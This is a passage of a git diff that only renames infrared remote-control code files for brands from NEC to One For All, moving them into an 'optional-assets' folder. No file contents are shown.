a/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RD-337E/2,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-337E/2,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RD-337E/2,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-337E/2,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RD-343E/24,233.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-343E/24,233.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RD-343E/24,233.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-343E/24,233.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RD-348E/24,233.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-348E/24,233.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RD-348E/24,233.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-348E/24,233.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RD-409E/24,233.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-409E/24,233.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RD-409E/24,233.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-409E/24,233.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RD-427E/24,233.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-427E/24,233.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RD-427E/24,233.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-427E/24,233.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RU-1220S/24,247.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RU-1220S/24,247.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RU-1220S/24,247.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RU-1220S/24,247.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_TRB-60/49,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_TRB-60/49,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_TRB-60/49,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_TRB-60/49,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_TRB-968A/25,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_TRB-968A/25,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_TRB-968A/25,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_TRB-968A/25,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_UR-3020/24,247.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_UR-3020/24,247.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_UR-3020/24,247.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_UR-3020/24,247.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/VCR/10,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/VCR/10,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NEC/VCR/10,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/VCR/10,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/VCR/25,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/VCR/25,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NEC/VCR/25,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/VCR/25,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/VCR/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/VCR/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NEC/VCR/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/VCR/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Video Projector/24,233.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Video Projector/24,233.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NEC/Video Projector/24,233.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Video Projector/24,233.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Video Projector/24,247.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Video Projector/24,247.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NEC/Video Projector/24,247.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Video Projector/24,247.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NET TV/TV/2,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NET TV/TV/2,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NET TV/TV/2,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NET TV/TV/2,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NTL/Unknown_DI4001N/10,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NTL/Unknown_DI4001N/10,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NTL/Unknown_DI4001N/10,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NTL/Unknown_DI4001N/10,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NVIDIA/Unknown_Personal/128,126.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NVIDIA/Unknown_Personal/128,126.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NVIDIA/Unknown_Personal/128,126.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NVIDIA/Unknown_Personal/128,126.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Nagra/Unknown_TVA/8,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Nagra/Unknown_TVA/8,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Nagra/Unknown_TVA/8,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Nagra/Unknown_TVA/8,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Nakamichi/Amplifier/87,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Nakamichi/Amplifier/87,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Nakamichi/Amplifier/87,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Nakamichi/Amplifier/87,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Nakamichi/CD Player/103,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Nakamichi/CD Player/103,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Nakamichi/CD Player/103,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Nakamichi/CD Player/103,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Nakamichi/CD Player/92,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Nakamichi/CD Player/92,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Nakamichi/CD Player/92,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Nakamichi/CD Player/92,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Nakamichi/DVD Player/92,162.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Nakamichi/DVD Player/92,162.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Nakamichi/DVD Player/92,162.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Nakamichi/DVD Player/92,162.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Nakamichi/Receiver/103,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Nakamichi/Receiver/103,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Nakamichi/Receiver/103,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Nakamichi/Receiver/103,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Nakamichi/Receiver/130,93.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Nakamichi/Receiver/130,93.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Nakamichi/Receiver/130,93.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Nakamichi/Receiver/130,93.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Nakamichi/Receiver/186,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Nakamichi/Receiver/186,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Nakamichi/Receiver/186,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Nakamichi/Receiver/186,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Nakamichi/Receiver/92,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Nakamichi/Receiver/92,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Nakamichi/Receiver/92,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Nakamichi/Receiver/92,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Nakamichi/Receiver/92,161.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Nakamichi/Receiver/92,161.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Nakamichi/Receiver/92,161.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Nakamichi/Receiver/92,161.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Nakamichi/Tuner/103,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Nakamichi/Tuner/103,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Nakamichi/Tuner/103,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Nakamichi/Tuner/103,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Nakamichi/Tuner/92,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Nakamichi/Tuner/92,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Nakamichi/Tuner/92,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Nakamichi/Tuner/92,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Nakamichi/Unknown_lirc.config/103,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Nakamichi/Unknown_lirc.config/103,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Nakamichi/Unknown_lirc.config/103,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Nakamichi/Unknown_lirc.config/103,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Napa/Unknown_DAV-309/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Napa/Unknown_DAV-309/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Napa/Unknown_DAV-309/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Napa/Unknown_DAV-309/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Nebula Electronics/Unknown_DVB/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Nebula Electronics/Unknown_DVB/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Nebula Electronics/Unknown_DVB/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Nebula Electronics/Unknown_DVB/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Netgem/Unknown_iPlayer/131,51.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Netgem/Unknown_iPlayer/131,51.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Netgem/Unknown_iPlayer/131,51.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Netgem/Unknown_iPlayer/131,51.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Nextwave/Unknown_EX300/4,16.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Nextwave/Unknown_EX300/4,16.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Nextwave/Unknown_EX300/4,16.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Nextwave/Unknown_EX300/4,16.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Nikko/Unknown_Nikko/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Nikko/Unknown_Nikko/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Nikko/Unknown_Nikko/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Nikko/Unknown_Nikko/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Niles Audio/Unknown/128,93.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Niles Audio/Unknown/128,93.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Niles Audio/Unknown/128,93.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Niles Audio/Unknown/128,93.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Niles Audio/Unknown/132,18.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Niles Audio/Unknown/132,18.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Niles Audio/Unknown/132,18.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Niles Audio/Unknown/132,18.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/No Brand/Unknown_YK-001/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/No Brand/Unknown_YK-001/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/No Brand/Unknown_YK-001/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/No Brand/Unknown_YK-001/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Nokia/Satellite/24,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Nokia/Satellite/24,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Nokia/Satellite/24,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Nokia/Satellite/24,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Nokia/Satellite/6,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Nokia/Satellite/6,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Nokia/Satellite/6,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Nokia/Satellite/6,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Nokia/Unknown_624/74,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Nokia/Unknown_624/74,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Nokia/Unknown_624/74,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Nokia/Unknown_624/74,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Nokia/Unknown_MM9780S/14,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Nokia/Unknown_MM9780S/14,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Nokia/Unknown_MM9780S/14,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Nokia/Unknown_MM9780S/14,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Nokia/Unknown_Nokia/14,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Nokia/Unknown_Nokia/14,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Nokia/Unknown_Nokia/14,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Nokia/Unknown_Nokia/14,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Nokia/Unknown_NokiaVC620/3,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Nokia/Unknown_NokiaVC620/3,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Nokia/Unknown_NokiaVC620/3,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Nokia/Unknown_NokiaVC620/3,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Nokia/Unknown_RCN610/74,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Nokia/Unknown_RCN610/74,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Nokia/Unknown_RCN610/74,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Nokia/Unknown_RCN610/74,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Nokia/Unknown_VCN620/3,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Nokia/Unknown_VCN620/3,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Nokia/Unknown_VCN620/3,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Nokia/Unknown_VCN620/3,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Nokia/Unknown_VCR/137,119.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Nokia/Unknown_VCR/137,119.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Nokia/Unknown_VCR/137,119.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Nokia/Unknown_VCR/137,119.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Norcent/Unknown_DP/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Norcent/Unknown_DP/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Norcent/Unknown_DP/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Norcent/Unknown_DP/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/NorthQ/Unknown_6400/8,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/NorthQ/Unknown_6400/8,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/NorthQ/Unknown_6400/8,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/NorthQ/Unknown_6400/8,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Novaplex/Cable Box/27,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Novaplex/Cable Box/27,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Novaplex/Cable Box/27,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Novaplex/Cable Box/27,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Now Broadband TV/Unknown_Broadband/128,110.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Now Broadband TV/Unknown_Broadband/128,110.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Now Broadband TV/Unknown_Broadband/128,110.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Now Broadband TV/Unknown_Broadband/128,110.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Now Broadband TV/Unknown_Broadband/64,64.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Now Broadband TV/Unknown_Broadband/64,64.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Now Broadband TV/Unknown_Broadband/64,64.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Now Broadband TV/Unknown_Broadband/64,64.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/OSRAM/Unknown_OSRAM/1,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/OSRAM/Unknown_OSRAM/1,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/OSRAM/Unknown_OSRAM/1,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/OSRAM/Unknown_OSRAM/1,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Olevia/Unknown_RC-LTFN/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Olevia/Unknown_RC-LTFN/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Olevia/Unknown_RC-LTFN/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Olevia/Unknown_RC-LTFN/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Olevia/Unknown_RC-LTL/4,185.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Olevia/Unknown_RC-LTL/4,185.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Olevia/Unknown_RC-LTL/4,185.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Olevia/Unknown_RC-LTL/4,185.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Olympus/Unknown_RM-1/134,59.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Olympus/Unknown_RM-1/134,59.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Olympus/Unknown_RM-1/134,59.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Olympus/Unknown_RM-1/134,59.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Olympus/Unknown_RM-2/134,59.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Olympus/Unknown_RM-2/134,59.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Olympus/Unknown_RM-2/134,59.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Olympus/Unknown_RM-2/134,59.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_7720/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_7720/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_7720/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_7720/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_For/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_For/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_For/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_For/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_For/8,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_For/8,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_For/8,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_For/8,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_One-For-All/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_One-For-All/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_One-For-All/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_One-For-All/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_Phillips/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_Phillips/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_Phillips/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_Phillips/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_SAT/32,8.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_SAT/32,8.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_SAT/32,8.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_SAT/32,8.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-2510(12341)/71,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-2510(12341)/71,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-2510(12341)/71,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-2510(12341)/71,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-3021B00-VCR-0081/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-3021B00-VCR-0081/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-3021B00-VCR-0081/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-3021B00-VCR-0081/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-3440/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-3440/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-3440/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-3440/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-5550/11,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-5550/11,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-5550/11,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-5550/11,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-6012w/2,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-6012w/2,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-6012w/2,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-6012w/2,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-7020/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7020/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-7020/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7020/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-7240/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7240/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-7240/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7240/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-7530/7,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7530/7,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-7530/7,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7530/7,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-7555/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7555/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-7555/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7555/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-7562/68,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7562/68,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-7562/68,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7562/68,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-7710/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7710/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-7710/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7710/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-8204.1300/32,8.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-8204.1300/32,8.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-8204.1300/32,8.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/One For 